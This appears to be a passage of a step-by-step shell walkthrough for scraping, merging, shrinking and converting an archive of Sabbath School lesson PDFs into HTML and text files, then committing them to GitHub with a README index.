curl -s https://www.adventistarchives.org/sabbathschoollessons |grep -o ^[\<]td.* |sed -e 's/<td[^\>]*>//g' | sed -e 's/<sup>.*<\/sup>//g' | sed -e 's/<\/td>//g' |sed -e 's/\<a.*href="[^h][^t][^t][^p][^:][^>]*>.*<\/a><//' | sed -e 's/<a[^>]*><\/a>//g' |sed -e 's/<[^a][^>]*>//g' |grep -A 2 '^[0-9]\{4\}' | grep -v -- "^--$" |parallel -N3 echo {} | sed -e 's/\(<a[^<]*\)\(<.*\)/\1/g'| sed -e 's/<a.* href="\([^"]*\)"[^>]*>\(.*\)/[\2](\1)/' | sed -e 's/  */ /g' | sed -e 's/http:\/\/documents.adventistarchives.org\/SSQ\///' | sed -e 's/ \]/\]/g' | parallel -N4 echo {} | sed -e 's/ [0-9]\{4\} [1-4][a-z]\{2\} / \|/g' |sed -e 's/ 1st /\| /' >> README.md

7. Continue combining the 51 files

We first have to add a leading zero to the first 9 files, then run pdfunite

rename.ul "" 0 ?.pdf

ls -lha ./ |grep " [0-9][0-9]\.pdf" | grep -o '[^ ]*$' |parallel -N10 pdfunite {} {#}-2.pdf

ls -lha ./ |grep " [0-9]-2\.pdf" | grep -o '[^ ]*$' |parallel -N6 pdfunite {} allLessons.pdf

Last process still breaks because of limited memory. So we will upload the file that we created using NitroPro to our server.

scp All\ Lessons.pdf user@server:/tmp/pdfs/allLessons.pdf

allLessons.pdf is greater than 100MBs (708.4MB) and we can't push to github. We need to find a way of reducing its size. So let's try to remove the images from the pdfs and see the result.

gs -sDEVICE=pdfwrite -dFILTERVECTOR -dFILTERIMAGE -o allLessonsSmall.pdf "allLessons.pdf"

We are almost done as this gives us a file that is 68.5MBs. But the ~~text is white on a white background~~the text is transparent.

Using Evince, the default pdf viewer for Ubuntu, the transparent-text pdf can be read by selecting all the text using CTRL+A which will make the text visible. But this method seems not to work on all pdf viewers including 'Foxit Reader' and Adobe pdf readers.

We will therefore convert the transparent-text pdf to html and change the color in the generated css file.

For this exercise we have chosen to use a digital ocean trial account to launch a 4 Core 8GB RAM 160 GB SSD server. The following command is executed unbelievably fast (2m8.701s):

time pdf2htmlEX --split-pages 1 --process-nontext 0 --process-outline 0 --process-annotation 0 --process-form 0 --embed-css 0 --embed-font 0 --embed-image 0 --embed-javascript 0 --embed-outline 0 --dest-dir html allLessonsSmall.pdf

The result is 26672 files of total size 223MB. You can find these by running ls html |wc -l and du -h html. All text is still set to be transparent as seen from the following css file:

This is changed to black as follows:

7. Converting all the pdfs to html

We will now convert the pdfs to html files, which will allow us to be able to search their contents within github. This is also an easy task using our free trial 4 core server:

ls -lha ./ |grep SS.*pdf | grep -o '[^ ]*$' |parallel -N10 echo {} | sed 's/ /\n/g' | parallel -N1 pdf2htmlEX --split-pages 1 --dest-dir htmls {}

8. Adding to git, commiting and pushing to github

For some reason, these command add all the files at once.

ls ./|head -n $((1*18135/5))|tail -n $((18135/5))|xargs git add```
{% endraw %}

{% raw %}


```bash
for file in $(ls ./|head -n $((1*18135/5))|tail -n $((18135/5)) ); do git add $file ; done

So we move the htmls folder out of our folder, recreate it copy back the files in batches, add the files to git and commit. We run this command 5 times, incrementing the multiplier (1 in this command).

for file in $(ls ../htmls|head -n $((1*18135/5))|tail -n $((18135/5)) ); do cp "../htmls/$file" htmls/ ; done && git add . && git commit -m "added batch of files"

9. Editing the index to add links to html files

sed -i '/SS.*pdf/s/(\([^)]*\))/(htmls\/\1.html) \\| [⇩](\1)/g' README.md

10. Converting all the pdfs to text

In docs folder,

ls -lha ./ |grep SS.*pdf | grep -o '[^ ]*$' |parallel -N10 echo {} | sed 's/ /\n/g' | parallel -N1 pdftotext -layout {}

ls -lha ./ |grep "[0-9].txt" | grep -o '[^ ]*$' |parallel -N10 echo {} | sed 's/ /\n/g' | parallel -N1 mv {} texts/

11. Remove transparency from htmls

The htmls contain transparent text which we wish to convert to black. In docs/htmls run:

sed -i '/fc0{color:transparent;/s/transparent/black/' *.html
sed -i '/fc0{color:transparent;/s/transparent/black/' *.css

12. Add text files to index

sed -i '/SS.*pdf/s/(\([^(]*\).pdf)/(\1.pdf) \\| [txt](texts\/\1.txt)/g' README.md